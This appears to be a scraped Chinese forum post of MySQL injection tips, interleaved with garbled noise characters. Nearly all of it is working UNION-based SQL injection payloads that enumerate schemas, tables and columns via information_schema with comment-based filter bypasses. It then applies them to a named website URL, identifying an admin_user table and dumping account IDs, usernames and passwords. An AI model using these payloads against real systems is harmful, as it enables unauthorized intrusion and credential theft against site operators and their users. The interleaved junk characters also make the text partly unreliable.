mysql注入技巧

admin

查库

1 o, G, x, G, Y* ^$ `  D2 rid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

, ~0 B1 ~. ^. [. \, @, I7 r; e! m查表
+ n/ {& P+ [1 e( d: i
9 L0 t; d7 Y, X* }8 R7 sid=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
. y  K2 x$ o. y) i& b
查段
' v0 L: x* ^) V% w, s3 U9 a( ?
$ G1 K" L* J0 Q" E" Z6 J& Fid=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
# j* o7 v6 g8 j8 }) N
" R8 |- u# W  ^- C  u! E2 z
8 i" R/ G% ^  W! X( }0 hmysql5高级注入方法暴表
, o" P( N% y2 l7 j
4 p+ i3 y$ W! [+ V; X8 L例子如下:

+ ]: C, Y  `* H8 J1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。
/ A! O9 H1 E  n$ K
6 s0 E8 R9 {# O2 [( a+ o2.暴字段
6 H; k3 v8 V5 h  O9 u+ T! fhttp://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*
9 @+ B: @: M9 U+ W- P8 w

3.爆密码
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*
" p( F& x5 s9 C* k( L$ z